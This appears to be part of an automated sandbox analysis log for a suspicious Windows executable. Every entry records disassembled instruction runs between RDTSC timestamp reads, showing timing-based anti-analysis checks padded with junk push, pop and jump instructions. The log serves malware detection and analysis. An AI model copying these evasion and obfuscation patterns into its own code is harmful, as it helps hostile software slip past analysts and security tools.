Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB1089 second address: 6EB108F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB108F second address: 6EB1095 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB1095 second address: 6EB1099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB1099 second address: 6EB10BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F4076Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [edx+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov bx, 77A0h 0x00000015 mov edx, 65066DCCh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB10BD second address: 6EB10DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, ax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esi+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDEF8F19BBFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB10DC second address: 6EB1159 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+08h], eax 0x0000000c jmp 00007FDEF8F4076Eh 0x00000011 mov eax, dword ptr [esi+0Ch] 0x00000014 jmp 00007FDEF8F40770h 0x00000019 mov dword ptr [edx+0Ch], eax 0x0000001c pushad 0x0000001d mov ecx, 461B9CFDh 0x00000022 movzx esi, dx 0x00000025 popad 0x00000026 mov eax, dword ptr [esi+10h] 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c pushfd 0x0000002d jmp 00007FDEF8F40771h 0x00000032 adc si, 7AC6h 0x00000037 jmp 00007FDEF8F40771h 0x0000003c popfd 0x0000003d rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB1159 second address: 6EB11BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov si, 784Dh 0x0000000a popad 0x0000000b mov dword ptr [edx+10h], eax 0x0000000e pushad 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FDEF8F19BBCh 0x00000016 sub ah, FFFFFF98h 0x00000019 jmp 00007FDEF8F19BBBh 0x0000001e popfd 0x0000001f popad 0x00000020 popad 0x00000021 mov eax, dword ptr [esi+14h] 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FDEF8F19BBBh 0x0000002d or cx, 975Eh 0x00000032 jmp 00007FDEF8F19BC9h 0x00000037 popfd 0x00000038 mov dx, si 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB11BC second address: 6EB11C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB11C2 second address: 6EB11C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB11C6 second address: 6EB1210 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F4076Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [edx+14h], eax 0x0000000e jmp 00007FDEF8F40776h 0x00000013 mov eax, dword ptr [esi+18h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FDEF8F40777h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB1210 second address: 6EB1244 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, dh 0x00000005 jmp 00007FDEF8F19BC0h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [edx+18h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDEF8F19BC7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB1244 second address: 6EB127B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+1Ch] 0x0000000c jmp 00007FDEF8F4076Eh 0x00000011 mov dword ptr [edx+1Ch], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB127B second address: 6EB1298 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB13AF second address: 6EB13B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB13B5 second address: 6EB13D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, dx 0x00000006 mov edx, 4462F97Ch 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [edx+2Ch], ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDEF8F19BBEh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB13D6 second address: 6EB1442 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDEF8F40771h 0x00000009 adc ax, 7386h 0x0000000e jmp 00007FDEF8F40771h 0x00000013 popfd 0x00000014 mov ch, BDh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ax, word ptr [esi+30h] 0x0000001d jmp 00007FDEF8F40773h 0x00000022 mov word ptr [edx+30h], ax 0x00000026 jmp 00007FDEF8F40776h 0x0000002b mov ax, word ptr [esi+32h] 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB1442 second address: 6EB1446 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB1446 second address: 6EB144C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB144C second address: 6EB14E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ch, F8h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov word ptr [edx+32h], ax 0x0000000e jmp 00007FDEF8F19BC3h 0x00000013 mov eax, dword ptr [esi+34h] 0x00000016 pushad 0x00000017 mov ebx, ecx 0x00000019 popad 0x0000001a mov dword ptr [edx+34h], eax 0x0000001d pushad 0x0000001e mov si, 31CFh 0x00000022 push eax 0x00000023 mov dx, 7906h 0x00000027 pop ebx 0x00000028 popad 0x00000029 test ecx, 00000700h 0x0000002f jmp 00007FDEF8F19BBAh 0x00000034 jne 00007FDF69007E3Ah 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007FDEF8F19BBDh 0x00000043 xor ax, F266h 0x00000048 jmp 00007FDEF8F19BC1h 0x0000004d popfd 0x0000004e pushfd 0x0000004f jmp 00007FDEF8F19BC0h 0x00000054 add cx, E208h 0x00000059 jmp 00007FDEF8F19BBBh 0x0000005e popfd 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB14E4 second address: 6EB14EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB14EA second address: 6EB14EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB14EE second address: 6EB14F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB14F2 second address: 6EB151B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 or dword ptr [edx+38h], FFFFFFFFh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDEF8F19BC9h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB151B second address: 6EB1530 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40771h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EB1530 second address: 6EB15B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or dword ptr [edx+3Ch], FFFFFFFFh 0x0000000d pushad 0x0000000e movzx ecx, di 0x00000011 pushfd 0x00000012 jmp 00007FDEF8F19BC9h 0x00000017 or eax, 4E1CE696h 0x0000001d jmp 00007FDEF8F19BC1h 0x00000022 popfd 0x00000023 popad 0x00000024 or dword ptr [edx+40h], FFFFFFFFh 0x00000028 pushad 0x00000029 mov dx, 131Eh 0x0000002d popad 0x0000002e pop esi 0x0000002f jmp 00007FDEF8F19BC5h 0x00000034 pop ebx 0x00000035 jmp 00007FDEF8F19BBEh 0x0000003a leave 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e mov cx, D073h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6F00DA4 second address: 6F00DA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6F00DA8 second address: 6F00DFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 jmp 00007FDEF8F19BBCh 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 jmp 00007FDEF8F19BBEh 0x00000015 pushfd 0x00000016 jmp 00007FDEF8F19BC2h 0x0000001b adc ecx, 2B79A568h 0x00000021 jmp 00007FDEF8F19BBBh 0x00000026 popfd 0x00000027 popad 0x00000028 pop ebp 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c mov bx, cx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EA013C second address: 6EA0142 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EA0142 second address: 6EA0146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EA0146 second address: 6EA015C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDEF8F4076Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EA015C second address: 6EA0187 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 call 00007FDEF8F19BBBh 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDEF8F19BC2h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EA0187 second address: 6EA019E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F4076Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EA019E second address: 6EA01B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EA01B9 second address: 6EA01D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEF8F40774h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E4008F second address: 6E400CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 5C1BAEAFh 0x00000008 mov bh, ch 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007FDEF8F19BC7h 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FDEF8F19BC0h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E400CA second address: 6E400D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E406AB second address: 6E406C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E406C8 second address: 6E406CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E406CE second address: 6E40774 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov eax, ebx 0x0000000f pushfd 0x00000010 jmp 00007FDEF8F19BBBh 0x00000015 xor ecx, 441BE65Eh 0x0000001b jmp 00007FDEF8F19BC9h 0x00000020 popfd 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 jmp 00007FDEF8F19BBEh 0x00000028 mov ebp, esp 0x0000002a jmp 00007FDEF8F19BC0h 0x0000002f pop ebp 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007FDEF8F19BBDh 0x00000039 sub si, 35F6h 0x0000003e jmp 00007FDEF8F19BC1h 0x00000043 popfd 0x00000044 call 00007FDEF8F19BC0h 0x00000049 pop eax 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E40B3C second address: 6E40B50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 064827DBh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f movzx esi, di 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E40B50 second address: 6E40BA4 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FDEF8F19BC0h 0x00000008 sbb ch, FFFFFFD8h 0x0000000b jmp 00007FDEF8F19BBBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 push eax 0x00000015 jmp 00007FDEF8F19BC9h 0x0000001a xchg eax, ebp 0x0000001b jmp 00007FDEF8F19BBEh 0x00000020 mov ebp, esp 0x00000022 pushad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E40BA4 second address: 6E40BBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pop ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDEF8F40771h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E908F6 second address: 6E9093E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FDEF8F19BC9h 0x00000008 pop eax 0x00000009 mov ax, bx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 jmp 00007FDEF8F19BC8h 0x00000015 mov dword ptr [esp], ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b movsx edi, si 0x0000001e mov edi, ecx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E9093E second address: 6E90961 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ax, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDEF8F40774h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E90961 second address: 6E90973 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEF8F19BBEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E90973 second address: 6E9098D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F4076Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov esi, edx 0x00000011 push edx 0x00000012 pop ecx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E7000E second address: 6E70085 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FDEF8F19BC6h 0x0000000f push eax 0x00000010 jmp 00007FDEF8F19BBBh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FDEF8F19BBBh 0x0000001d sbb ah, FFFFFF8Eh 0x00000020 jmp 00007FDEF8F19BC9h 0x00000025 popfd 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 jmp 00007FDEF8F19BBEh 0x0000002e and esp, FFFFFFF0h 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E70085 second address: 6E70089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E70089 second address: 6E7008F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E7008F second address: 6E7011A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40774h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 44h 0x0000000c jmp 00007FDEF8F40770h 0x00000011 xchg eax, ebx 0x00000012 jmp 00007FDEF8F40770h 0x00000017 push eax 0x00000018 jmp 00007FDEF8F4076Bh 0x0000001d xchg eax, ebx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FDEF8F40774h 0x00000025 and ch, 00000028h 0x00000028 jmp 00007FDEF8F4076Bh 0x0000002d popfd 0x0000002e movzx eax, di 0x00000031 popad 0x00000032 push esi 0x00000033 jmp 00007FDEF8F40770h 0x00000038 mov dword ptr [esp], esi 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e mov ebx, esi 0x00000040 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E7011A second address: 6E7015F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FDEF8F19BC8h 0x00000008 sub cl, FFFFFFE8h 0x0000000b jmp 00007FDEF8F19BBBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov cx, 8ADFh 0x00000017 popad 0x00000018 xchg eax, edi 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FDEF8F19BC1h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E7015F second address: 6E701A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40771h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FDEF8F40771h 0x0000000f xchg eax, edi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov edx, 576A803Eh 0x00000018 call 00007FDEF8F4076Fh 0x0000001d pop esi 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E701A0 second address: 6E701B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEF8F19BC5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E701B9 second address: 6E70227 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40771h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edi, dword ptr [ebp+08h] 0x0000000e jmp 00007FDEF8F4076Eh 0x00000013 mov dword ptr [esp+24h], 00000000h 0x0000001b jmp 00007FDEF8F40770h 0x00000020 lock bts dword ptr [edi], 00000000h 0x00000025 pushad 0x00000026 movzx esi, bx 0x00000029 mov ax, bx 0x0000002c popad 0x0000002d jc 00007FDF695E2993h 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FDEF8F40777h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E70227 second address: 6E70244 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E70244 second address: 6E702A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40771h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a jmp 00007FDEF8F4076Eh 0x0000000f pop esi 0x00000010 jmp 00007FDEF8F40770h 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FDEF8F4076Dh 0x0000001f add ch, 00000006h 0x00000022 jmp 00007FDEF8F40771h 0x00000027 popfd 0x00000028 mov edi, eax 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EA0227 second address: 6EA0231 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 0B4D1765h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EA0231 second address: 6EA0261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 mov esi, 18F02F19h 0x0000000e popad 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov ax, A851h 0x00000015 mov ebx, esi 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FDEF8F40772h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EA0261 second address: 6EA0265 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EA0265 second address: 6EA026B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E90877 second address: 6E90895 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 460175F9h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDEF8F19BBEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E90895 second address: 6E908A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F4076Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6E908A4 second address: 6E908BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEF8F19BC4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EA044D second address: 6EA0453 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EA0453 second address: 6EA0457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
